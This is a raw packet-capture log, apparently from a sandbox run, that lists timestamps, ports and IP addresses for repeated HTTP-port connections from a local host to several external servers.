Dec 3, 2024 14:52:18.030875921 CET	80	49770	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:18.035595894 CET	80	49770	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:18.035640955 CET	80	49770	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:18.035832882 CET	49770	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:19.362112045 CET	49770	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:20.378186941 CET	49771	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:20.547779083 CET	80	49771	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:20.547981024 CET	49771	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:20.550163984 CET	49771	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:20.719173908 CET	80	49771	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:20.724860907 CET	80	49771	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:20.724932909 CET	80	49771	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:20.725213051 CET	49771	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:20.725799084 CET	49771	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:20.894625902 CET	80	49771	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:25.977830887 CET	49772	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:26.115695953 CET	80	49772	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:26.115915060 CET	49772	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:26.119172096 CET	49772	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:26.256906033 CET	80	49772	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:28.641840935 CET	49773	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:28.779418945 CET	80	49773	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:28.779562950 CET	49773	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:28.782742023 CET	49773	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:28.920288086 CET	80	49773	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:31.313174009 CET	49774	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:31.450964928 CET	80	49774	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:31.451113939 CET	49774	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:31.454380035 CET	49774	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:31.454447985 CET	49774	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:31.454464912 CET	49774	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:31.592045069 CET	80	49774	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:33.984419107 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:34.122328997 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.122524977 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:34.124768972 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:34.268441916 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872580051 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872597933 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872620106 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872634888 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872802019 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:34.872883081 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872901917 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872916937 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.872931957 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:34.873102903 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.016438961 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016459942 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016664982 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.016685009 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016705036 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016720057 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016735077 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016832113 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.016875982 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.016937971 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.016980886 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.017106056 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.160248041 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.160268068 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.160444021 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.160525084 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.160543919 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.160758018 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.160825968 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.160845041 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.161027908 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.161072016 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.161098957 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.161227942 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.304189920 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304419994 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304450989 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304466963 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304481983 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304567099 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.304629087 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.304682016 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304713964 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304728985 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304744005 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.304800034 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.304902077 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.448177099 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.448187113 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.448194027 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:35.448513985 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.449130058 CET	49775	80	192.168.11.20	208.91.197.27
Dec 3, 2024 14:52:35.586682081 CET	80	49775	208.91.197.27	192.168.11.20
Dec 3, 2024 14:52:40.564794064 CET	49776	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:40.757265091 CET	80	49776	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:40.757523060 CET	49776	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:40.760699987 CET	49776	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:40.953803062 CET	80	49776	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:40.954447031 CET	80	49776	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:40.954493046 CET	80	49776	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:40.954663038 CET	49776	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:42.263328075 CET	49776	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:43.279280901 CET	49777	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:43.479398966 CET	80	49777	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:43.479631901 CET	49777	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:43.482830048 CET	49777	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:43.683001041 CET	80	49777	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:43.683319092 CET	80	49777	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:43.683507919 CET	49777	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:44.996916056 CET	49777	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:46.013185978 CET	49778	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:46.205812931 CET	80	49778	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:46.206135035 CET	49778	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:46.209362030 CET	49778	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:46.209451914 CET	49778	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:46.401959896 CET	80	49778	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:46.402106047 CET	80	49778	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:46.402591944 CET	80	49778	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:46.402600050 CET	80	49778	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:46.402837038 CET	49778	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:47.715431929 CET	49778	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:48.731208086 CET	49779	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:48.923839092 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:48.924015999 CET	49779	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:48.926189899 CET	49779	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:49.118737936 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.118822098 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119079113 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119291067 CET	49779	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:49.119296074 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119348049 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119390965 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119434118 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119467974 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:49.119620085 CET	49779	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:49.120309114 CET	49779	80	192.168.11.20	89.31.143.90
Dec 3, 2024 14:52:49.312731981 CET	80	49779	89.31.143.90	192.168.11.20
Dec 3, 2024 14:52:55.504808903 CET	49780	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:55.829539061 CET	80	49780	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:55.829709053 CET	49780	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:55.832865953 CET	49780	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:56.160278082 CET	80	49780	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:56.160330057 CET	80	49780	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:56.160363913 CET	80	49780	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:56.160542011 CET	49780	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:57.337990046 CET	49780	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:58.354058027 CET	49781	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:58.679277897 CET	80	49781	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:58.679451942 CET	49781	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:58.682605028 CET	49781	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:52:59.006607056 CET	80	49781	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:59.006656885 CET	80	49781	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:59.006691933 CET	80	49781	8.136.96.106	192.168.11.20
Dec 3, 2024 14:52:59.006807089 CET	49781	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:00.196705103 CET	49781	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:01.212865114 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:01.553941965 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.554177046 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:01.557466030 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:01.557502031 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:01.557573080 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:01.898515940 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.898544073 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.898566008 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.898837090 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.898861885 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.898880005 CET	80	49782	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:01.899070024 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:03.071142912 CET	49782	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:04.087148905 CET	49783	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:04.464951038 CET	80	49783	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:04.465176105 CET	49783	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:04.467344999 CET	49783	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:04.844850063 CET	80	49783	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:04.844867945 CET	80	49783	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:04.844880104 CET	80	49783	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:04.845268011 CET	49783	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:04.845868111 CET	49783	80	192.168.11.20	8.136.96.106
Dec 3, 2024 14:53:05.223275900 CET	80	49783	8.136.96.106	192.168.11.20
Dec 3, 2024 14:53:09.969978094 CET	49784	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:10.289215088 CET	80	49784	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:10.289499044 CET	49784	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:10.293055058 CET	49784	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:10.612169027 CET	80	49784	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:10.612310886 CET	80	49784	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:10.612395048 CET	80	49784	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:10.612514019 CET	49784	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:11.803602934 CET	49784	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:12.819644928 CET	49785	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:13.138928890 CET	80	49785	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:13.139122009 CET	49785	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:13.142272949 CET	49785	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:13.461798906 CET	80	49785	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:13.461844921 CET	80	49785	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:13.461878061 CET	80	49785	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:13.462095976 CET	49785	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:14.646752119 CET	49785	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:15.662822008 CET	49786	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:15.981611967 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:15.981825113 CET	49786	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:15.985086918 CET	49786	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:15.985142946 CET	49786	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:16.304090977 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:16.304142952 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:16.304173946 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:16.304487944 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:16.304717064 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:16.304961920 CET	80	49786	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:16.305207014 CET	49786	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:17.489775896 CET	49786	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:18.505901098 CET	49787	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:18.825035095 CET	80	49787	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:18.825238943 CET	49787	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:18.827400923 CET	49787	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:19.146469116 CET	80	49787	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:19.146908045 CET	80	49787	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:19.147025108 CET	80	49787	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:19.147305012 CET	49787	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:19.147897959 CET	49787	80	192.168.11.20	38.47.233.4
Dec 3, 2024 14:53:19.466891050 CET	80	49787	38.47.233.4	192.168.11.20
Dec 3, 2024 14:53:24.338773012 CET	49788	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:24.506644964 CET	80	49788	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:24.506814957 CET	49788	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:24.509988070 CET	49788	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:24.700347900 CET	80	49788	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:24.700395107 CET	80	49788	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:24.700544119 CET	49788	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:26.019232988 CET	49788	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:27.035233974 CET	49789	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:27.203289986 CET	80	49789	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:27.203465939 CET	49789	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:27.206959963 CET	49789	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:27.401585102 CET	80	49789	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:27.401593924 CET	80	49789	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:27.401782036 CET	49789	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:28.723515987 CET	49789	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:29.737821102 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:29.905785084 CET	80	49790	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:29.905966997 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:29.909235001 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:29.909264088 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:29.909336090 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:30.084804058 CET	80	49790	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:30.117734909 CET	80	49790	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:30.117752075 CET	80	49790	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:30.117901087 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:31.424282074 CET	49790	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:32.440285921 CET	49791	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:32.608268023 CET	80	49791	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:32.608407974 CET	49791	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:32.610766888 CET	49791	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:32.805866003 CET	80	49791	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:32.805881977 CET	80	49791	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:32.805895090 CET	80	49791	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:32.806121111 CET	49791	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:32.806894064 CET	49791	80	192.168.11.20	103.224.182.242
Dec 3, 2024 14:53:32.974756956 CET	80	49791	103.224.182.242	192.168.11.20
Dec 3, 2024 14:53:46.118611097 CET	49792	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:46.221163034 CET	80	49792	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:46.221448898 CET	49792	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:46.224631071 CET	49792	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:46.327181101 CET	80	49792	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:46.363487005 CET	80	49792	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:46.363590002 CET	80	49792	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:46.363729000 CET	49792	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:46.364845037 CET	80	49792	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:46.365046024 CET	49792	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:47.733104944 CET	49792	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:48.749219894 CET	49793	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:48.851829052 CET	80	49793	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:48.851991892 CET	49793	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:48.855215073 CET	49793	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:48.959176064 CET	80	49793	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:48.988478899 CET	80	49793	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:48.988488913 CET	80	49793	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:48.988646984 CET	49793	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:48.989147902 CET	80	49793	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:48.989375114 CET	49793	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:50.357532024 CET	49793	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.373670101 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.476613998 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.476799965 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.480022907 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.480047941 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.480120897 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.583085060 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.583127975 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.583375931 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.624552011 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.624597073 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.624752045 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:51.624995947 CET	80	49794	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:51.625226974 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:52.982019901 CET	49794	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:53.998038054 CET	49795	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:54.100898981 CET	80	49795	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:54.101116896 CET	49795	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:54.103291988 CET	49795	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:54.206059933 CET	80	49795	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:54.362303019 CET	80	49795	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:54.362385035 CET	80	49795	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:54.362644911 CET	49795	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:54.363557100 CET	80	49795	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:54.363734961 CET	49795	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:54.364295959 CET	49795	80	192.168.11.20	172.67.201.49
Dec 3, 2024 14:53:54.466988087 CET	80	49795	172.67.201.49	192.168.11.20
Dec 3, 2024 14:53:59.489895105 CET	49796	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:53:59.628588915 CET	80	49796	173.0.157.187	192.168.11.20
Dec 3, 2024 14:53:59.628768921 CET	49796	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:53:59.631959915 CET	49796	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:53:59.770838976 CET	80	49796	173.0.157.187	192.168.11.20
Dec 3, 2024 14:53:59.878046989 CET	80	49796	173.0.157.187	192.168.11.20
Dec 3, 2024 14:53:59.878057957 CET	80	49796	173.0.157.187	192.168.11.20
Dec 3, 2024 14:53:59.878230095 CET	49796	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:01.136446953 CET	49796	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:02.152610064 CET	49797	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:02.291944027 CET	80	49797	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:02.292159081 CET	49797	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:02.295325041 CET	49797	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:02.434104919 CET	80	49797	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:02.514297962 CET	80	49797	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:02.514343023 CET	80	49797	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:02.514483929 CET	49797	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:03.807713985 CET	49797	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:04.823813915 CET	49798	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:04.962996006 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:04.963164091 CET	49798	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:04.969482899 CET	49798	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:04.969508886 CET	49798	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:05.108434916 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:05.108449936 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:05.108741999 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:05.108756065 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:05.199466944 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:05.199481010 CET	80	49798	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:05.199743986 CET	49798	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:06.479120970 CET	49798	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:07.495105028 CET	49799	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:07.633935928 CET	80	49799	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:07.634166002 CET	49799	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:07.636315107 CET	49799	80	192.168.11.20	173.0.157.187
Dec 3, 2024 14:54:07.775127888 CET	80	49799	173.0.157.187	192.168.11.20
Dec 3, 2024 14:54:07.868633032 CET	80	49799	173.0.157.187	192.168.11.20
